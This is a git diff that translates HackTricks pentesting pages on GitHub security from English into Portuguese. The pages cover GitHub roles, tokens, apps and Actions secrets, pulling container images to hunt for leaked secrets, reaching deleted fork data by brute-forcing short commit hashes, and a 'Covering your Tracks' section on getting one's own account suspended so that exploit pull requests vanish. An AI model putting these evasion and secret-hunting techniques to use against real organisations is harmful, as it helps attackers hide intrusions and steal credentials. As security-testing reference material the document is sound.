Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**. +Um usuário com permissões de leitura sobre o repositório poderá então baixar a Imagem Docker usando um token de acesso pessoal: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - -Then, the user could search for **leaked secrets in the Docker image layers:** +Então, o usuário poderia procurar por **segredos vazados nas camadas da imagem Docker:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Informações sensíveis nos logs do Github Actions -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrar** eles, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Cobrir suas Trilhas -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderia todas as suas atividades** no GitHub da internet (basicamente remover todos os seus PRs de exploração) -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github. > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido. -## Tools +## Ferramentas -The following tools are useful to find Github Action workflows and even find vulnerable ones: +As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar vulneráveis: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..7873b0538 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ -# Gh Actions - Artifact Poisoning - - - - - +# Gh Actions - Poisonamento de Artefatos diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..f77c0d2d3 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ # GH Actions - Cache Poisoning - - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..ddf9f2bcc 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ -# Gh Actions - Context Script Injections - - - - - +# Gh Actions - Injeções de Script de Contexto diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..fd652da86 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,60 +1,56 @@ -# Accessible Deleted Data in Github +# Dados Deletados Acessíveis no Github {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Essas maneiras de acessar dados do Github que supostamente foram deletados foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## Acessando Dados de Forks Deletados -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. Você faz um fork de um repositório público +2. Você comita código no seu fork +3. Você deleta seu fork > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> Os dados comitados no fork deletado ainda estão acessíveis. -## Accessing Deleted Repo Data +## Acessando Dados de Repositórios Deletados -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. Você tem um repositório público no GitHub. +2. Um usuário faz fork do seu repositório. +3. Você comita dados após eles fazerem o fork (e eles nunca sincronizam seu fork com suas atualizações). +4. Você deleta o repositório inteiro. > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> Mesmo que você tenha deletado seu repositório, todas as alterações feitas nele ainda estão acessíveis através dos forks. -## Accessing Private Repo Data +## Acessando Dados de Repositórios Privados -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. Você cria um repositório privado que eventualmente será tornado público. +2. Você cria uma versão interna privada desse repositório (via fork) e comita código adicional para recursos que você não vai tornar públicos. +3. Você torna seu repositório “upstream” público e mantém seu fork privado. > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> É possível acessar todos os dados enviados para o fork interno no período entre a criação do fork interno e a versão pública sendo tornada pública. -## How to discover commits from deleted/hidden forks +## Como descobrir commits de forks deletados/ocultos -The same blog post propose 2 options: +O mesmo post do blog propõe 2 opções: -### Directly accessing the commit +### Acessando diretamente o commit -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +Se o valor do ID do commit (sha-1) for conhecido, é possível acessá-lo em `https://github.com///commit/` -### Brute-forcing short SHA-1 values +### Forçando valores SHA-1 curtos -It's the same to access both of these: +É o mesmo para acessar ambos: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +E o último usa um sha-1 curto que é forçável. -## References +## Referências - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..6d0e46af3 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,250 +1,244 @@ -# Basic Github Information +# Informações Básicas do Github {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Estrutura Básica -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +A estrutura básica do ambiente github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**. -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +Do ponto de vista do usuário, um **usuário** pode ser um **membro** de **diferentes empresas e organizações**. Dentro delas, o usuário pode ter **diferentes funções de empresa, organização e repositório**. -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +Além disso, um usuário pode ser **parte de diferentes equipes** com diferentes funções de empresa, organização ou repositório. -And finally **repositories may have special protection mechanisms**. +E finalmente, **os repositórios podem ter mecanismos de proteção especiais**. -## Privileges +## Privilégios -### Enterprise Roles +### Funções de Empresa -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Proprietário da empresa**: Pessoas com essa função podem **gerenciar administradores, gerenciar organizações dentro da empresa, gerenciar configurações da empresa, impor políticas entre organizações**. No entanto, eles **não podem acessar configurações ou conteúdo da organização** a menos que sejam designados como proprietários da organização ou tenham acesso direto a um repositório de propriedade da organização. +- **Membros da empresa**: Membros de organizações pertencentes à sua empresa também são **automaticamente membros da empresa**. -### Organization Roles +### Funções de Organização -In an organisation users can have different roles: +Em uma organização, os usuários podem ter diferentes funções: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Proprietários da organização**: Proprietários da organização têm **acesso administrativo completo à sua organização**. Essa função deve ser limitada, mas não a menos de duas pessoas, em sua organização. +- **Membros da organização**: A função **padrão**, não administrativa, para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**. +- **Gerentes de cobrança**: Gerentes de cobrança são usuários que podem **gerenciar as configurações de cobrança da sua organização**, como informações de pagamento. +- **Gerentes de Segurança**: É uma função que os proprietários da organização podem atribuir a qualquer equipe em uma organização. Quando aplicada, dá a cada membro da equipe permissões para **gerenciar alertas e configurações de segurança em sua organização, bem como permissões de leitura para todos os repositórios** na organização. +- Se sua organização tiver uma equipe de segurança, você pode usar a função de gerente de segurança para dar aos membros da equipe o menor acesso necessário à organização. +- **Gerentes de Aplicativos do Github**: Para permitir que usuários adicionais **gerenciem Aplicativos do GitHub de propriedade de uma organização**, um proprietário pode conceder a eles permissões de gerente de Aplicativos do GitHub. +- **Colaboradores externos**: Um colaborador externo é uma pessoa que tem **acesso a um ou mais repositórios da organização, mas não é explicitamente um membro** da organização. -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Você pode **comparar as permissões** dessas funções nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Privilégios dos Membros -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +Em _https://github.com/organizations/\/settings/member_privileges_ você pode ver as **permissões que os usuários terão apenas por serem parte da organização**. -The settings here configured will indicate the following permissions of members of the organisation: +As configurações aqui configuradas indicarão as seguintes permissões dos membros da organização: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- Ser administrador, escritor, leitor ou sem permissão sobre todos os repositórios da organização. +- Se os membros podem criar repositórios privados, internos ou públicos. +- Se o fork de repositórios é possível. +- Se é possível convidar colaboradores externos. +- Se sites públicos ou privados podem ser publicados. +- As permissões que os administradores têm sobre os repositórios. +- Se os membros podem criar novas equipes. -### Repository Roles +### Funções de Repositório -By default repository roles are created: +Por padrão, as funções de repositório são criadas: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Leitura**: Recomendado para **contribuidores não relacionados ao código** que desejam visualizar ou discutir seu projeto. +- **Triagem**: Recomendado para **contribuidores que precisam gerenciar proativamente problemas e pull requests** sem acesso de escrita. +- **Escrita**: Recomendado para contribuintes que **enviam ativamente para seu projeto**. +- **Manutenção**: Recomendado para **gerentes de projeto que precisam gerenciar o repositório** sem acesso a ações sensíveis ou destrutivas. +- **Admin**: Recomendado para pessoas que precisam de **acesso total ao projeto**, incluindo ações sensíveis e destrutivas, como gerenciar segurança ou excluir um repositório. -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Você pode **comparar as permissões** de cada função nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +Você também pode **criar suas próprias funções** em _https://github.com/organizations/\/settings/roles_ -### Teams +### Equipes -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\/teams_. Observe que, para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai. -### Users +### Usuários -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +Os usuários de uma organização podem ser **listados** em _https://github.com/orgs/\/people._ -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +Nas informações de cada usuário, você pode ver as **equipes das quais o usuário é membro** e os **repositórios aos quais o usuário tem acesso**. -## Github Authentication +## Autenticação do Github -Github offers different ways to authenticate to your account and perform actions on your behalf. +O Github oferece diferentes maneiras de autenticar sua conta e realizar ações em seu nome. -### Web Access +### Acesso Web -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +Acessando **github.com**, você pode fazer login usando seu **nome de usuário e senha** (e um **2FA potencialmente**). -### **SSH Keys** +### **Chaves SSH** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a **chave privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **Chaves GPG** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Você **não pode se passar pelo usuário com essas chaves**, mas se você não as usar, pode ser possível que você **seja descoberto por enviar commits sem uma assinatura**. Saiba mais sobre [modo vigilante aqui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **Tokens de Acesso Pessoal** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à sua conta**. Ao criar um token de acesso pessoal, o **usuário** precisa **especificar** as **permissões** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Aplicativos Oauth -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Aplicativos Oauth podem solicitar permissões **para acessar parte das suas informações do github ou para se passar por você** para realizar algumas ações. Um exemplo comum dessa funcionalidade é o **botão de login com github** que você pode encontrar em algumas plataformas. -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- Você pode **criar** seus próprios **aplicativos Oauth** em [https://github.com/settings/developers](https://github.com/settings/developers) +- Você pode ver todos os **aplicativos Oauth que têm acesso à sua conta** em [https://github.com/settings/applications](https://github.com/settings/applications) +- Você pode ver os **escopos que os Aplicativos Oauth podem solicitar** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Você pode ver o acesso de terceiros de aplicativos em uma **organização** em _https://github.com/organizations/\/settings/oauth_application_policy_ -Some **security recommendations**: +Algumas **recomendações de segurança**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados. +- Um Aplicativo OAuth pode ser usado como um provedor de identidade ao habilitar um "Login com GitHub" para o usuário autenticado. +- **Não** crie um **Aplicativo OAuth** se você quiser que seu aplicativo atue em um **único repositório**. Com o escopo `repo`, os Aplicativos OAuth podem **agir em \_todos**\_\*\* os repositórios do usuário autenticado\*\*. +- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Os Aplicativos OAuth se autenticam como um **único usuário**, então, se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele. +- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +### Aplicativos do Github -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Aplicativos do Github podem solicitar permissões para **acessar suas informações do github ou se passar por você** para realizar ações específicas sobre recursos específicos. Nos Aplicativos do Github, você precisa especificar os repositórios aos quais o aplicativo terá acesso. -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- Para instalar um Aplicativo do GitHub, você deve ser um **proprietário da organização ou ter permissões de administrador** em um repositório. +- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**. +- Você pode criar seu próprio aplicativo do Github em [https://github.com/settings/apps](https://github.com/settings/apps) +- Você pode ver todos os **aplicativos do Github que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do aplicativo, ele poderá acessar alguns deles. +- Você pode ver aplicativos instalados em uma **organização** em _https://github.com/organizations/\/settings/installations_ -Some security recommendations: +Algumas recomendações de segurança: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Um Aplicativo do GitHub deve **tomar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Certifique-se de que o Aplicativo do GitHub se integre com **repositórios específicos**. +- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**. +- Não espere que o Aplicativo do GitHub saiba e faça tudo o que um usuário pode. +- **Não use um Aplicativo do GitHub se você só precisa de um serviço de "Login com GitHub"**. Mas um Aplicativo do GitHub pode usar um [fluxo de identificação de usuário](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para fazer login de usuários _e_ fazer outras coisas. +- Não crie um Aplicativo do GitHub se você _apenas_ quiser agir como um usuário do GitHub e fazer tudo o que esse usuário pode fazer. +- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de fluxo de trabalho, deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de fluxo de trabalho. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +Isso **não é uma maneira de autenticar no github**, mas uma **ação maliciosa** do Github poderia obter **acesso não autorizado ao github** e **dependendo** dos **privilégios** dados à Ação, vários **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informações. -## Git Actions +## Ações do Git -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +As ações do Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos). -### Configuration +### Configuração -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +Em _https://github.com/organizations/\/settings/actions_ é possível verificar a **configuração das ações do github** para a organização. -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +É possível proibir o uso de ações do github completamente, **permitir todas as ações do github**, ou apenas permitir certas ações. -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +Também é possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada. -### Git Secrets +### Segredos do Git -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +A Ação do Github geralmente precisa de algum tipo de segredos para interagir com o github ou aplicativos de terceiros. Para **evitar colocá-los em texto claro** no repositório, o github permite colocá-los como **Segredos**. +Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo assim: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Exemplo usando Bash ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Segredos **só podem ser acessados a partir das Github Actions** que os têm declarados. -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> Uma vez configurados no repositório ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles só poderão **alterá-los**. -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você poderá acessar apenas os segredos declarados para a Action). ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: - +Github permite criar **environments** onde você pode salvar **secrets**. Então, você pode dar à github action acesso aos segredos dentro do ambiente com algo como: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or 